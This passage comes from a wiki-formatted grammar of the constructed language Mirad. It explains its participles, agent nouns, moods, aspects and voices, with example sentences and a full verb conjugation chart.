| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
